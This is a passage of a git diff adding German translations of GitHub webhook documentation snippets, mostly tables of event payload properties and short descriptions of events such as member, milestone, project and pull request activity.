+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881187"
+---
+Aktivitäten im Zusammenhang mit einer Bezeichnung. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Bezeichnungen](/rest/reference/issues#labels).
diff --git a/translations/de-DE/data/reusables/webhooks/member_event_api_properties.md b/translations/de-DE/data/reusables/webhooks/member_event_api_properties.md
new file mode 100644
index 0000000000..70a00fd14b
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/member_event_api_properties.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 8100e743e3f59f107f3054bf857fdae3ac3570c1
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145089003"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action` | `string` | Die durchgeführte Aktion. Kann `added` lauten, um darauf hinzuweisen, dass ein Benutzer eine Einladung zu einem Repository akzeptiert hat.
diff --git a/translations/de-DE/data/reusables/webhooks/member_properties.md b/translations/de-DE/data/reusables/webhooks/member_properties.md
new file mode 100644
index 0000000000..104c9c9173
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/member_properties.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 60b583225d30a4d15b7e7454e417f645b7d6c8e4
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145066178"
+---
+`member`|`object` | Der [Benutzer](/rest/reference/users), der hinzugefügt wurde.
+`changes`|`object`| Die Änderungen an den Berechtigungen der mitarbeitenden Person, wenn die Aktion `edited` war.
+`changes[old_permission][from]`|`string` | Die vorherigen Berechtigungen der mitarbeitenden Person, wenn die Aktion `edited` war.
diff --git a/translations/de-DE/data/reusables/webhooks/member_short_desc.md b/translations/de-DE/data/reusables/webhooks/member_short_desc.md
new file mode 100644
index 0000000000..ad9fad3808
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/member_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 9a312504c89247b7ac99cec1e25120b0e9de0d1a
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881203"
+---
+Aktivitäten im Zusammenhang mit Repositorymitarbeitern. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Mitarbeiter](/rest/reference/repos#collaborators).
diff --git a/translations/de-DE/data/reusables/webhooks/member_webhook_properties.md b/translations/de-DE/data/reusables/webhooks/member_webhook_properties.md
new file mode 100644
index 0000000000..7aa9ea5a0b
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/member_webhook_properties.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 6e4d3748d95e097726f2b372306d0248fb7c2427
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145066174"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action`|`string` | Die durchgeführte Aktion. Kann eine der folgenden Aktionen sein:<ul><li> `added`: Ein Benutzer akzeptiert eine Einladung zu einem Repository.</li><li>`removed`: Ein Benutzer wird als Mitarbeiter in einem Repository entfernt.</li><li>`edited`: Die Mitarbeiterberechtigungen eines Benutzers wurden geändert. </li></ul>
diff --git a/translations/de-DE/data/reusables/webhooks/membership_properties.md b/translations/de-DE/data/reusables/webhooks/membership_properties.md
new file mode 100644
index 0000000000..7f68858003
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/membership_properties.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: e2df86df5d4919f4c55bb1963b66e9114eb03e44
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145088995"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action` |`string` | Die durchgeführte Aktion. Kann `added` oder `removed` sein.
+`scope`  |`string` | Der Umfang der Mitgliedschaft. Derzeit ist nur `team` möglich.
+`member` |`object` | Der hinzugefügte oder entfernte [Benutzer](/rest/reference/users).
+`team`   |`object` | Das [Team](/rest/reference/teams) für die Mitgliedschaft.
diff --git a/translations/de-DE/data/reusables/webhooks/membership_short_desc.md b/translations/de-DE/data/reusables/webhooks/membership_short_desc.md
new file mode 100644
index 0000000000..811cebfc4c
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/membership_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 2147599fef4aff3ddefeeaaf26e40d249cb7c124
+ms.sourcegitcommit: 6edb015070d3f0fda4525c6c931f1324626345dc
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "145066171"
+---
+Aktivitäten im Zusammenhang mit der Teammitgliedschaft. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Teammitglieder](/rest/reference/teams#members).
diff --git a/translations/de-DE/data/reusables/webhooks/milestone_properties.md b/translations/de-DE/data/reusables/webhooks/milestone_properties.md
new file mode 100644
index 0000000000..c2145a4ace
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/milestone_properties.md
@@ -0,0 +1,16 @@
+---
+ms.openlocfilehash: 59b68e124208e167e58e295905ff993ecf0530ef
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145088988"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action` |`string` | Die durchgeführte Aktion. Mögliche Werte: `created`, `closed`, `opened` (ein geschlossener Meilenstein wird erneut geöffnet), `edited` oder `deleted`.
+`milestone`  |`object` | Der Meilenstein selbst.
+`changes`|`object`| Die Änderungen am Meilenstein, wenn die Aktion `edited` war.
+`changes[description][from]`|`string` | Die vorherige Version der Beschreibung, wenn die Aktion `edited` war.
+`changes[due_on][from]`|`string` | Die vorherige Version des Fälligkeitsdatums, wenn die Aktion `edited` war.
+`changes[title][from]`|`string` | Die vorherige Version des Titels, wenn die Aktion `edited` war.
diff --git a/translations/de-DE/data/reusables/webhooks/milestone_short_desc.md b/translations/de-DE/data/reusables/webhooks/milestone_short_desc.md
new file mode 100644
index 0000000000..2de1f74a48
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/milestone_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 5d588f3aa6c05bc3ba1f02ab8d895399801e70e9
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145066170"
+---
+Aktivitäten im Zusammenhang mit Meilensteinen. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Meilensteine](/rest/reference/issues#milestones).
diff --git a/translations/de-DE/data/reusables/webhooks/org_block_short_desc.md b/translations/de-DE/data/reusables/webhooks/org_block_short_desc.md
new file mode 100644
index 0000000000..ce8ac85537
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/org_block_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7805f5809c9ba4b0b298e431beb1a8abddf039bf
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881171"
+---
+Aktivitäten im Zusammenhang mit Personen, die in einer Organisation blockiert werden. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API zum [Blockieren von Organisationsbenutzern](/rest/reference/orgs#blocking).
diff --git a/translations/de-DE/data/reusables/webhooks/org_desc.md b/translations/de-DE/data/reusables/webhooks/org_desc.md
new file mode 100644
index 0000000000..2fd1946e10
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/org_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 808d7537866311693d2885599a36ece0f0ab2641
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147881235"
+---
+`organization` | `object` | Webhooknutzdaten enthalten das [`organization`](/rest/reference/orgs#get-an-organization)-Objekt, wenn der Webhook für eine Organisation konfiguriert ist oder das Ereignis über Aktivitäten in einem Repository auftritt, das einer Organisation gehört.
diff --git a/translations/de-DE/data/reusables/webhooks/org_desc_graphql.md b/translations/de-DE/data/reusables/webhooks/org_desc_graphql.md
new file mode 100644
index 0000000000..b9f5396816
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/org_desc_graphql.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e9bd53eafb526a1b18644d63d2533aa50d9974c1
+ms.sourcegitcommit: 5f9527483381cfb1e41f2322f67c80554750a47d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/11/2022
+ms.locfileid: "147081004"
+---
+`organization` | `object` | Webhooknutzdaten enthalten das [`organization`](/graphql/reference/objects#organization)-Objekt, wenn der Webhook für eine Organisation konfiguriert ist oder das Ereignis über Aktivitäten in einem Repository auftritt, das einer Organisation gehört.
diff --git a/translations/de-DE/data/reusables/webhooks/organization_short_desc.md b/translations/de-DE/data/reusables/webhooks/organization_short_desc.md
new file mode 100644
index 0000000000..800736a617
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/organization_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4db7425371197d5cc61846aa26d2cc33bf4587d7
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145066166"
+---
+Aktivitäten im Zusammenhang mit einer Organisation und ihren Mitgliedern. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Organisationen](/rest/reference/orgs).
diff --git a/translations/de-DE/data/reusables/webhooks/package_properties.md b/translations/de-DE/data/reusables/webhooks/package_properties.md
new file mode 100644
index 0000000000..8bc61b21de
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/package_properties.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 5adc0b5be2f2bb0559a69f86ce2195c8e83d6b74
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145088979"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action`|`string` | Die durchgeführte Aktion. Kann `published` oder `updated` sein.
+`package` |`object` | Informationen zum Paket.
diff --git a/translations/de-DE/data/reusables/webhooks/page_build_short_desc.md b/translations/de-DE/data/reusables/webhooks/page_build_short_desc.md
new file mode 100644
index 0000000000..127456b6c4
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/page_build_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d3eabfb46a9d7eb5077e35151f019d02be134cb1
+ms.sourcegitcommit: 76b840f45ba85fb79a7f0c1eb43bc663b3eadf2b
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/12/2022
+ms.locfileid: "145066163"
+---
+Stellt einen versuchten Build einer {% data variables.product.prodname_pages %}-Website dar, unabhängig davon, ob er erfolgreich war. Ein Push an einen {% data variables.product.prodname_pages %}-fähigen Branch (`gh-pages` für Projektseiten, den Standardbranch für Benutzer- und Organisationsseiten) löst dieses Ereignis aus.
diff --git a/translations/de-DE/data/reusables/webhooks/payload_url.md b/translations/de-DE/data/reusables/webhooks/payload_url.md
new file mode 100644
index 0000000000..3ede07032b
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/payload_url.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 40da0178d4f291568960b85c5054d0d7c367f46e
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145088956"
+---
+Die Payload-URL ist die URL des Servers, der die Webhook-`POST`-Anforderungen empfängt.
diff --git a/translations/de-DE/data/reusables/webhooks/ping_short_desc.md b/translations/de-DE/data/reusables/webhooks/ping_short_desc.md
new file mode 100644
index 0000000000..c5a7598330
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/ping_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: a8a1de73ff71fe60e79ea376f98a3a48014ddc4b
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145066162"
+---
+Wenn du einen neuen Webhook erstellst, senden wir dir ein einfaches `ping`-Ereignis, um dir mitzuteilen, dass du den Webhook richtig eingerichtet hast. Dieses Ereignis wird nicht gespeichert und ist daher nicht über den [Ereignis-API](/rest/reference/activity#ping-a-repository-webhook)-Endpunkt abrufbar.
diff --git a/translations/de-DE/data/reusables/webhooks/project_card_properties.md b/translations/de-DE/data/reusables/webhooks/project_card_properties.md
new file mode 100644
index 0000000000..859190efec
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/project_card_properties.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: 4c9dffae916ec9dd367a0d8b92a3a1831a6e9b41
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145088955"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action`|`string` | Die Aktion, die auf der Projektkarte ausgeführt wird. Mögliche Werte: `created`, `edited`, `moved`, `converted` oder `deleted`.
+`changes`|`object` | Die Änderungen an der Projektkarte, wenn die Aktion `edited` oder `converted` war.
+`changes[note][from]` |`string` | Die vorherige Version des Hinweises, wenn die Aktion `edited` oder `converted` war.
+`after_id`|`integer` | Die ID der Karte, der diese Karte nun folgt, wenn die Aktion „moved“ war. Ist `null`, wenn es sich um die erste Karte in einer Spalte handelt.
+`project_card`|`object` | Die [Projektkarte](/rest/reference/projects#cards) selbst.
diff --git a/translations/de-DE/data/reusables/webhooks/project_card_short_desc.md b/translations/de-DE/data/reusables/webhooks/project_card_short_desc.md
new file mode 100644
index 0000000000..fd84f2fb75
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/project_card_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d71f1ff3ed93dbd91a2a74fe7ce2d17520cd7336
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879035"
+---
+Kartenbezogene Aktivitäten in einem {% data variables.projects.projects_v1_board %}. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Projektkarten](/rest/reference/projects#cards).
diff --git a/translations/de-DE/data/reusables/webhooks/project_column_properties.md b/translations/de-DE/data/reusables/webhooks/project_column_properties.md
new file mode 100644
index 0000000000..dba29d3400
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/project_column_properties.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: c29755014aac40c0ab7e96f879d19a3fb06d79fb
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145088948"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action`|`string` | Die Aktion, die für die Projektspalte ausgeführt wurde. Mögliche Werte: `created`, `edited`, `moved` oder `deleted`.
+`changes`|`object` | Die Änderungen an der Projektspalte, wenn die Aktion `edited` war.
+`changes[name][from]` |`string` | Die vorherige Version des Namens, wenn die Aktion `edited` war.
+`after_id`|`integer` | Die ID der Spalte, auf die diese Spalte jetzt folgt, wenn die Aktion „moved“ lautete. Dieser Wert ist `null`, wenn es sich um die erste Spalte in einem Projekt handelt.
+`project_column`|`object` | Die [Projektspalte](/rest/reference/projects#columns) selbst.
diff --git a/translations/de-DE/data/reusables/webhooks/project_column_short_desc.md b/translations/de-DE/data/reusables/webhooks/project_column_short_desc.md
new file mode 100644
index 0000000000..caa98cbb30
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/project_column_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: d8cb79d2b61d9f6d42a27a39016eb457cc373c46
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147423156"
+---
+Spaltenbezogene Aktivitäten in einem {% data variables.projects.projects_v1_board %}. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Projektspalten](/rest/reference/projects#columns).
diff --git a/translations/de-DE/data/reusables/webhooks/project_properties.md b/translations/de-DE/data/reusables/webhooks/project_properties.md
new file mode 100644
index 0000000000..2e344438d4
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/project_properties.md
@@ -0,0 +1,15 @@
+---
+ms.openlocfilehash: f41668ecc39ec7b3efc30deaf59bdf406a60d0cb
+ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876882"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action`|`string` | Die Aktion, die für das Projekt ausgeführt wurde. Kann `created`, `edited`, `closed`, `reopened` oder `deleted` sein.
+`changes`|`object` | Die Änderungen am Kommentar, wenn die Aktion `edited` war.
+`changes[name][from]` |`string` | Die vorherige Version des Namens, wenn die Aktion `edited` war.
+`changes[body][from]` |`string` | Die vorherige Version des Texts, wenn die Aktion `edited` war.
+`project`|`object` | Das [Projekt](/rest/reference/projects) selbst.
diff --git a/translations/de-DE/data/reusables/webhooks/project_short_desc.md b/translations/de-DE/data/reusables/webhooks/project_short_desc.md
new file mode 100644
index 0000000000..6556acb6ab
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/project_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: ca368de2e6cc18bc5f265586824b53d4821e35d7
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "147423652"
+---
+{% data variables.projects.projects_v1_boards %} bezogene Aktivität. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Projekte](/rest/reference/projects).
diff --git a/translations/de-DE/data/reusables/webhooks/public_short_desc.md b/translations/de-DE/data/reusables/webhooks/public_short_desc.md
new file mode 100644
index 0000000000..798f2f2bb4
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/public_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 7c345fce0eec9ca438fbee6feac1a851b3718bbc
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145088940"
+---
+Wenn ein privates Repository öffentlich gemacht wird.  Ohne Zweifel das beste {% data variables.product.product_name %}-Ereignis. 
diff --git a/translations/de-DE/data/reusables/webhooks/pull_request_event_api_properties.md b/translations/de-DE/data/reusables/webhooks/pull_request_event_api_properties.md
new file mode 100644
index 0000000000..2d63dc4bba
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/pull_request_event_api_properties.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: b4442842d4f3be48b0929b9fac955827ecbd794d
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877026"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action`|`string` | Die durchgeführte Aktion. Mögliche Werte: `opened`, `edited`, `closed`, `reopened`, `assigned`, `unassigned`, `review_requested`, `review_request_removed`, `labeled`, `unlabeled` und `synchronize`.
diff --git a/translations/de-DE/data/reusables/webhooks/pull_request_properties.md b/translations/de-DE/data/reusables/webhooks/pull_request_properties.md
new file mode 100644
index 0000000000..99e2c8c045
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/pull_request_properties.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 33034d7d2f00ba494e16629a57ab07ec9d34810b
+ms.sourcegitcommit: f638d569cd4f0dd6d0fb967818267992c0499110
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 10/25/2022
+ms.locfileid: "148008191"
+---
+`number`|`integer` | Die Pull Request-Nummer.
+`changes`|`object` | Die Änderungen am Kommentar, wenn die Aktion `edited` war.
+`changes[title][from]`|`string` | Die vorherige Version des Titels, wenn die Aktion `edited` war.
+`changes[body][from]`|`string` | Die vorherige Version des Texts, wenn die Aktion `edited` war.
+`pull_request`|`object` | Der [Pull Request](/rest/reference/pulls) selbst.{% ifversion fpt or ghec %} `reason`|`string` | Der Grund, aus dem der Pull Request aus einer Mergewarteschlange entfernt wurde, wenn die Aktion `dequeued` war.{% endif %}
diff --git a/translations/de-DE/data/reusables/webhooks/pull_request_review_comment_event_api_properties.md b/translations/de-DE/data/reusables/webhooks/pull_request_review_comment_event_api_properties.md
new file mode 100644
index 0000000000..a390a0dd85
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/pull_request_review_comment_event_api_properties.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: a2a41574297e6ef1280826bc0c1368c8d03bd25f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879028"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action`|`string` | Die Aktion, die für den Kommentar ausgeführt wurde. Kann `created` sein.
diff --git a/translations/de-DE/data/reusables/webhooks/pull_request_review_comment_properties.md b/translations/de-DE/data/reusables/webhooks/pull_request_review_comment_properties.md
new file mode 100644
index 0000000000..f01e11dc50
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/pull_request_review_comment_properties.md
@@ -0,0 +1,12 @@
+---
+ms.openlocfilehash: 0bcab53262aeba661e09e824918ce0f396af2825
+ms.sourcegitcommit: 505b84dc7227e8a5d518a71eb5c7eaa65b38ce0e
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147877025"
+---
+`changes`|`object` | Die Änderungen am Kommentar, wenn die Aktion `edited` war.
+`changes[body][from]`|`string` | Die vorherige Version des Texts, wenn die Aktion `edited` war.
+`pull_request`|`object` | Der [Pull Request](/rest/reference/pulls), zu dem der Kommentar gehört.
+`comment`|`object` | Der [Kommentar](/rest/reference/pulls#comments) selbst.
diff --git a/translations/de-DE/data/reusables/webhooks/pull_request_review_comment_short_desc.md b/translations/de-DE/data/reusables/webhooks/pull_request_review_comment_short_desc.md
new file mode 100644
index 0000000000..011abcba9b
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/pull_request_review_comment_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: e88a2df426ed8a0674b234674f2c7e3862632c8d
+ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876853"
+---
+Aktivitäten im Zusammenhang mit Pull Request-Reviewkommentaren im Unified Diff des Pull Request. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Pull Request-Reviewkommentare](/rest/reference/pulls#comments).
diff --git a/translations/de-DE/data/reusables/webhooks/pull_request_review_comment_webhook_properties.md b/translations/de-DE/data/reusables/webhooks/pull_request_review_comment_webhook_properties.md
new file mode 100644
index 0000000000..ba3143b7b3
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/pull_request_review_comment_webhook_properties.md
@@ -0,0 +1,11 @@
+---
+ms.openlocfilehash: 0471d244dfc24ce15dcd98323b44019729f604e1
+ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147880685"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|-------------
+`action`|`string` | Die Aktion, die für den Kommentar ausgeführt wurde. Kann `created`, `edited` oder `deleted` sein.
diff --git a/translations/de-DE/data/reusables/webhooks/pull_request_review_properties.md b/translations/de-DE/data/reusables/webhooks/pull_request_review_properties.md
new file mode 100644
index 0000000000..3e11965e12
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/pull_request_review_properties.md
@@ -0,0 +1,14 @@
+---
+ms.openlocfilehash: 6b8d3bb77c6a40a43ab22ffd0e60e61cd049fa61
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "147879027"
+---
+Schlüssel | type | BESCHREIBUNG
+----|------|------------
+`action` | `string` | Die durchgeführte Aktion. Kann eine der folgenden Aktionen sein:<ul><li>`submitted`: Ein Pull Request-Review wird in einen nicht ausstehenden Zustand übermittelt.</li><li>`edited`: Der Text eines Reviews wurde bearbeitet.</li><li>`dismissed`: Ein Review wurde verworfen.</li></ul>
+`pull_request` | `object` | Der [Pull Request](/rest/reference/pulls), auf den sich das Review bezieht.
+`review` | `object` | Das betroffene Review.
+`changes[body][from]`|`string` | Die vorherige Version des Texts, wenn die Aktion `edited` war.
diff --git a/translations/de-DE/data/reusables/webhooks/pull_request_review_short_desc.md b/translations/de-DE/data/reusables/webhooks/pull_request_review_short_desc.md
new file mode 100644
index 0000000000..2842b30369
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/pull_request_review_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 29447ea5b6bb05e41fe213ffb1a1c1facd25b23e
+ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/05/2022
+ms.locfileid: "145085332"
+---
+Aktivitäten im Zusammenhang mit Pull Request-Überprüfungen. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der [Pull Request-Überprüfungen](/rest/reference/pulls#reviews)-REST-API.
diff --git a/translations/de-DE/data/reusables/webhooks/pull_request_review_thread_short_desc.md b/translations/de-DE/data/reusables/webhooks/pull_request_review_thread_short_desc.md
new file mode 100644
index 0000000000..119569861e
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/pull_request_review_thread_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 4ec12f5ab3975f007d2a95ef4206ac8c1a4748b7
+ms.sourcegitcommit: ac00e2afa6160341c5b258d73539869720b395a4
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/09/2022
+ms.locfileid: "147876869"
+---
+Aktivität im Zusammenhang mit einem Kommentarthread zu einem Pull Request, der als aufgelöst oder nicht gelöst markiert wurde {% data reusables.webhooks.action_type_desc %}
diff --git a/translations/de-DE/data/reusables/webhooks/pull_request_short_desc.md b/translations/de-DE/data/reusables/webhooks/pull_request_short_desc.md
new file mode 100644
index 0000000000..26bbcc0ee5
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/pull_request_short_desc.md
@@ -0,0 +1,9 @@
+---
+ms.openlocfilehash: 775058cb2303990aa23cd2f69642bb70fe341b3a
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: "145085323"
+---
+Aktivitäten im Zusammenhang mit Pull Requests. {% data reusables.webhooks.action_type_desc %} Weitere Informationen findest du in der REST-API für [Pull Requests](/rest/reference/pulls).
diff --git a/translations/de-DE/data/reusables/webhooks/pull_request_thread_properties.md b/translations/de-DE/data/reusables/webhooks/pull_request_thread_properties.md
new file mode 100644
index 0000000000..44e9210d50
--- /dev/null
+++ b/translations/de-DE/data/reusables/webhooks/pull_request_thread_properties.md
@@ -0,0 +1,13 @@
+---
+ms.openlocfilehash: 563e9f384acbc3e6e243db8d2dae5eb05d833d04
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
